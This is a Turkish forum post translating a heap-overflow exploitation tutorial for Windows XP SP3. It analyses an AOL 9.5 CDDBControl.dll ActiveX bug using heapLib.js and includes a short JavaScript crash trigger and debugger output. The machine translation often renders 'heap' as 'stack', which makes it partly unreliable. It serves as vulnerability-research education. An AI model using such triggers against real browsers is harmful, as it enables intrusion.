Bir vulnerserver ikili kodu sağladım (kodun çoğu, Stephen Bradshaws’ın infosec enstitüsündeki blog girişinden kullanılıyor, tüm krediler ona gitmeli) ve yığın taşmaları ve memleaks’leri içerecek şekilde buna göre ayarladım.

Buradaki fikir, yığını doğru şekilde tetikleyecek ve düzenleyecek bir ‘PoC’ istismarı oluşturmaktır, böylece görünüm kenarındaki bir yığının üzerine yazabilir ve kod yürütme elde edebilirsiniz.

Bu (b33f: Dosya mevcut değil) dosyasını indirin ve Windows XP SP 3 altında çalıştırın ve bu tekniğin konseptini anlamanıza yardımcı olması için burada verilen örnekleri deneyin.

Şimdilik kaynak kodunu paylaşmamaya karar verdim, böylelikle insanlar öbek düzeninin doğru yolunu bulmak ve kod yürütmeyi tetiklemek için biraz tersine mühendislik yapmak zorunda kalacaklar.

Bir ipucu olarak (umarız çok büyük değildir), yığın düzenini belirleyerek çalışan ‘PoC’ kodunun ekran görüntüsü:

QvvX0I.jpg


Tabii ki, yığın belleği düzenleyebileceğiniz her durum mükemmeldir. Bir hedef süreç yığını oluşturmak için daha kolay bir hedef, müşteri tarafını güvenilir bir yol olarak kullanmaktır.

Yığın düzenlerini komut dosyası oluşturma ve kontrol etme becerisiyle, bir yığın taşması yoluyla yararlanılabilecek bir durum kurabileceğinizden emin olabilirsiniz.

Bir örnek, Alex Soritov’un heaplib.js’sini, yığın bellek içindeki dizeler üzerinde diğer birçok işlemi ayırmaya, serbest bırakmaya ve gerçekleştirmeye yardımcı olmak için kullanmaktır.

MSHTML tarafından kullanılan yığınları ayırmak veya serbest bırakmak için JavaScript veya DHTML kullanıyorsanız, yığın yöneticisini kontrol edebilir ve hedef tarayıcıdaki bir yığın taşmasından yürütme denetimini yeniden yönlendirebilirsiniz.

AOL 9.5 (CDDBControl.dll) ActiveX Yığın Taşması Analizi Bu güvenlik açığına bir göz atmaya ve Windows XP SP3 altında bu hatanın ‘yararlanılabilirliğini’ belirlemeye karar verdim.

Denetimin komut dosyası oluşturma veya başlatma için güvenli olmadığını işaretlemesine rağmen, analiz edilmesi ilginç bir hata olabileceğini düşündüm.

Bu bölümü eklemeyecektim, ancak sinn3r sordu, bu yüzden eklemeye karar verdim

Şimdi, bir ActiveX kontrolü içinde olduğu için, tetiklenmesinin yollarından biri, IE’nin tarayıcısı olan bir komut dosyası dilini kullanmaktır. .

JavaScript’i sadece en esnek olduğu ve içinde heapLib.js de yazıldığı için kullanmaya karar verdim. Ortamım şöyleydi: - IE 6/7 – XP SP3 – heapLib.js

Öyleyse eğlence başlasın! Öncelikle Hellcode Research tarafından exploit-db’de sağlanan PoC’yi tetikledim. Çökmeyi inceleyelim:

GQK6w2.jpg


Burada görebildiğimiz şey, mevcut yığındaki segmentin aslında taahhüt edilmemiş hafızanın bittiği ve bu yığın segmenti için daha fazla hafıza kaydedemediği.

dXf0dD.jpg


Ve bakarsak:

wiAwmt.jpg







20HV1e.jpg




Başka bir segment oluşturma yeteneği olmadan yığın segmenti biter. Peki ne yapıyoruz?

Bir bağlantı kaldırma işlemini tetiklememiz gerektiğini biliyoruz.

Bunu yapmak için, Windows yığın yöneticisinin tüm verileri ayırma tamponuna (diğer parçaların üzerine yazarak) kopyalamasına, ancak mevcut segmenti çalıştırmamasına ihtiyacımız var.

Daha sonra bir sonraki tahsis veya ücretsiz tetiklendiğinde, bağlantıyı kaldırmaya çalışacaktır.

PoC’yi 4000 yerine sadece 2240 bayt ile taşmayı tetikleyecek şekilde değiştirdim.

Kod:
var x = unescape("%41");
while (x.length<2240) x += x;
x = x.substring(0,2240);
target.BindToFile(x,1);

Şimdi hatayı tetiklediğimizde, aslında tarayıcıyı kilitlemiyoruz.

Elbette yığın taşmıştır, ancak başka bir bağlantı kesme işlemi olana kadar çökmeyecektir.

Ancak tarayıcıyı kapatırken, çöp toplayıcı tüm serbest bırakılmış parçaları çalıştırır ve tahsis eder ve bu nedenle RtlAllocateHeap () ‘e birden çok çağrı yapılır ve hata tetiklenir.

Bu sefer işler biraz daha gerçekçi görünüyor.

W2yN5L.jpg



Kod:
(384c.16e0): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=41414141 ebx=02270000 ecx=02273f28 edx=02270178 esi=02273f20 edi=41414141
eip=7c9111de esp=0013e544 ebp=0013e764 iopl=0         nv up ei pl nz na po nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00010202
ntdll!RtlAllocateHeap+0x567:
7c9111de 8b10            mov     edx,dword ptr [eax]  ds:0023:41414141=????????

Harika, bu yüzden potansiyel olarak istismar edilebilir bir durumumuz var.

Bu durumda, flink EAX ve blink EDI’dir. XP sp0-1 ve altı altında, basit bir UEF işlevinin üzerine yazıp kontrolü ele alabilirdik.

ruq2yS.jpg


Ancak tarayıcının, yığını ‘masaj’ yapmak için güçlü komut dosyası yazma becerisine erişimimiz var, bu nedenle, XP SP3 altındaki güvenlik açığını hedeflemeyi deneyeceğiz.

Yığın düzenlerini analiz ederken, Active X kontrolünün aslında çalışma zamanında kendi yığınını oluşturduğunu ve kilitlenmenin serbest liste ekinde tetiklendiğini hemen fark ettim.

HeapLib.js kitaplığını kullanırken, öbeği oldukça iyi bir şekilde işleyebildim, yani, aktif X kontrol öbeği ** değil ** varsayılan işlemler yığını.
Bu noktada, Windows XP SP3 ve üstü altında * kullanılamaz göründüğünü * söyleyebilirim, elbette bu büyük bir yanlış yorumlama olabilir, ancak anlayabildiğim kadarıyla, nesneler yığını değiştirilemezse, o zaman olamaz sömürülmek.

Kancalama:

Yığın taşması içeren uygulamalarda hata ayıklarken bilmeniz gereken yararlı bir ipucu, ayırma ve serbest bırakma sayısı ve bunların boyutudur.

Bir süreç / iş parçacığı ömrü boyunca, birçok tahsis ve serbest bırakma yapılır ve bunların hepsini ayırmak kesinlikle zaman alır.

Bağışıklık hata ayıklayıcısıyla ilgili güzel bir şey, RtlAllocateHeap () ve RtlFreeHeap () ‘i kancalamak için! Hookheap eklentisini kullanabilmeniz ve böylece herhangi bir işlem sırasında yürütülen tahsislerin / serbest bırakmaların boyutunu ve sayısını bulabilmenizdir.

nfVO0S.jpg


Ve görebileceğiniz gibi, belirli bir tahsis göze çarpıyor, çok sayıda bayt tahsisi, hedef savunmasız sunucuya bir istek olduğunu gösteriyor gibi görünüyor.

Sonuç

Yığın yöneticilerinin anlamak ve yığın taşmalarını kullanmak çok karmaşıktır, çünkü her durum farklıdır.

Hedef uygulamanın mevcut bağlamını ve içerdiği sınırlamaları anlamak, bir yığın taşmasının yararlanılabilirliğini belirlemenin anahtarıdır.

Microsoft tarafından uygulanan koruma azaltımı, genel anlamda yığın taşması istismarının çoğunu önler, ancak zaman zaman ortaya çıkan ve kötüye kullanılabilen uygulamaya özel durumları görürüz.


Source:https://www.fuzzysecurity.com/tutorials/mr_me/3.html
Translator: Qgenays
 
Üst

Turkhackteam.org internet sitesi 5651 sayılı kanun’un 2. maddesinin 1. fıkrasının m) bendi ile aynı kanunun 5. maddesi kapsamında "Yer Sağlayıcı" konumundadır. İçerikler ön onay olmaksızın tamamen kullanıcılar tarafından oluşturulmaktadır. Turkhackteam.org; Yer sağlayıcı olarak, kullanıcılar tarafından oluşturulan içeriği ya da hukuka aykırı paylaşımı kontrol etmekle ya da araştırmakla yükümlü değildir. Türkhackteam saldırı timleri Türk sitelerine hiçbir zararlı faaliyette bulunmaz. Türkhackteam üyelerinin yaptığı bireysel hack faaliyetlerinden Türkhackteam sorumlu değildir. Sitelerinize Türkhackteam ismi kullanılarak hack faaliyetinde bulunulursa, site-sunucu erişim loglarından bu faaliyeti gerçekleştiren ip adresini tespit edip diğer kanıtlarla birlikte savcılığa suç duyurusunda bulununuz.